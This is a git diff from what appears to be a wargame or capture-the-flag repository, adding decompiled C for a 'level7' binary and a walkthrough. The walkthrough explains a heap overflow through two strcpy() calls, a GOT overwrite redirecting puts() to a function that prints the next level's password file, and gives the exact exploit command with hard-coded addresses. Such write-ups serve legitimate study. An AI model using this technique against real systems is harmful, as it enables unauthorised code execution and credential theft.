diff --git a/level7/source.c b/level7/source.c index 8ab51e9..6849131 100644 --- a/level7/source.c +++ b/level7/source.c @@ -14,18 +14,18 @@ void m(void) return; } -int32_t main(int32_t ac, char **av) +int main(int ac, char **av) { - int32_t *str = malloc(8); - str[0] = 1; - str[1] = malloc(8); + int *s1 = malloc(8); + s1[0] = 1; + s1[1] = malloc(8); - int32_t *str2 = malloc(8); - str2[0] = 2; - str2[1] = malloc(8); + int *s2 = malloc(8); + s2[0] = 2; + s2[1] = malloc(8); - strcpy(str[1], av[1]); - strcpy(str2[1], av[2]); + strcpy(s1[1], av[1]); + strcpy(s2[1], av[2]); fgets(c, 68, fopen("/home/user/level8/.pass", "r")); puts("~~"); return 0; diff --git a/level7/walkthrough b/level7/walkthrough new file mode 100644 index 0000000..b5cf517 --- /dev/null +++ b/level7/walkthrough @@ -0,0 +1,12 @@ +# Level7 + +Using ghidra, we can decompile the code and see that it allocates 2 variables (s1 and s2), dereferences these and allocates both pointers. +It will then `strcpy()` the content of av[1] and av[2] to s1[1] and s2[1], exposing the program to a buffer overflow. +After that, the program opens a file stream on `/home/user/level8/.pass` and writes its content to the global buffer `c[80]`. This buffer is also used in an external function `m()` that will print the content of c. +Finally, we have a call to `puts("~~")` that we're going to use to call the function `m()` instead of printing its string. +In order to do this, we have to overwrite the GOT at the address of `puts()` and replace it by the address of `m()`. +Remember we have 2 pointer dereferences, we're going to use this to write what we want at the address we want. +Basically, we need to overflow `s1` until `s2`, then write the GOT address of `puts()` into `s2 + 4` (since it dereferences `s2` at `s2[1]`) through the 1st `strcpy()` (copying `av[1]`). What will happen is that the 2nd `strcpy()` will copy the content of `av[2]` (e.g., the address of `m()`) to the address of `s2[1]`, which now equals to the GOT address of `puts()`. + +Here is the command: +`./level7 $(python -c 'print "A"*20 + "\x28\x99\x04\x08"') $(python -c 'print "\xf4\x84\x04\x08"')`